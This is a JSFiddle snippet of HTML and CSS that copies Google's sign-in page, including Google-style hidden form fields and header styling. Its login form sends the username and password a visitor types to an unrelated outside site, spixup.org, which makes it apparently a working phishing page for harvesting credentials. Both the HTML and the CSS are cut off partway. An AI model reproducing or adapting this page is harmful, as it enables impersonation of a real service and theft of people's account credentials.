JSFiddle - React, Tailwind, and code Playground
HTML
<div class="wrapper">
<div class="google-header-bar">
<div class="header content clearfix">
<span class="signup-button">
<a id="link-signup" class="g-button g-button-red" href="https://www.spixup.org" >
home page
</a>
</span>
</div>
</div>
<div class="main content clearfix">
<div class="sign-in">
<div class="signin-box">
<h2>Login <strong></strong></h2>
<form novalidate id="gaia_loginform" action="http://www.spixup.org" method="post">
<input type="hidden"
name="continue" id="continue" value="http://www.google.co.in/"
>
<input type="hidden"
name="dsh" id="dsh" value="-1971282935310228356"
>
<input type="hidden"
name="hl" id="hl" value="en"
>
<input type="hidden"
name="GALX"
value="1c2M-vCxAmI">
<input type="hidden"
id="pstMsg"
name="pstMsg"
value="0">
<input type="hidden"
id="dnConn"
name="dnConn"
value="">
<input type="hidden"
id="checkConnection"
name="checkConnection"
value="">
<input type="hidden"
id="checkedDomains"
name="checkedDomains"
value="youtube">
<input type="hidden" name="timeStmp" id="timeStmp"
value=''/>
<input type="hidden" name="secTok" id="secTok"
value=''/>
<input type="hidden" id="_utf8" name="_utf8" value="☃"/>
<input type="hidden" name="bgresponse" id="bgresponse" value="js_disabled">
<div class="email-div">
<label for="Email"><strong class="email-label">Username</strong></label>
<input type="email" spellcheck="false"
name="Email" id="Email" value=""
>
</div>
<div class="passwd-div">
<label for="Passwd"><strong class="passwd-label">Password</strong></label>
<input type="password" name="Passwd" id="Passwd"
>
</div>
<input type="submit" class="g-button g-button-submit" name="signIn" id="signIn"
value="Sign in">
<label class="remember" onclick="">
</strong>
</label>
<input type="hidden"...
CSS
</style> <style type="text/css"> html, body {
position: absolute;
height: 100%;
}
.wrapper {
position: relative;
min-height: 100%;
}
.wrapper + style + iframe {
display: none;
}
.content {
padding: 0 44px;
}
.topbar {
text-align: right;
padding-top: .5em;
padding-bottom: .5em;
}
.google-header-bar {
height: 71px;
background: #f1f1f1;
border-bottom: 1px solid #e5e5e5;
}
.header .logo {
margin: 17px 0 0;
float: left;
}
.header .signin, .header .signup {
margin: 28px 0 0;
float: right;
font-weight: bold;
}
.header .signin-button, .header .signup-button {
margin: 22px 0 0;
float: right;
}
.header .signin-button a {
font-size: 13px;
font-weight: normal;
}
.header .signup-button a {
position: relative;
top: -1px;
margin: 0 0 0 1em;
}
.main {
margin: 0 auto;
width: 650px;
padding-top: 23px;
padding-bottom: 100px;
}
.main h1:first-child {
margin: 0 0 .92em;
}
.google-footer-bar {
position: absolute;
bottom: 0;
height: 35px;
border-top: 1px solid #ebebeb;
overflow: hidden;
}
.footer {
padding-top: 9px;
font-size: .85em;
white-space: nowrap;
line-height: 0;
}
.footer ul {
color: #999;
float: left;
max-width: 80%;
}
.footer ul li {
display: inline;
padding: 0 1.5em 0 0;
}
.footer a {
color: #333;
}
.footer .lang-chooser {
float: right;
max-width: 20%;
}
.footer .attribution {
float: right;
}
.footer .attribution span {
vertical-align: text-top;
}
.redtext {
color: #dd4b39;
}
.greytext {
color: #555;
}
.secondary {
font-size: 11px;
color: #666;
}
.source {
color: #093;
}
.hidden {
display: none;
}
.announce-bar {
position: absolute;
bottom: 35px;
height: 33px;
z-index: 2;
width: 100%;
background: #f9edbe;
border-top: 1px solid #efe1ac;
border-bottom: 1px solid #efe1ac;
overflow: hidden;
}
.announce-bar .message {
font-size:...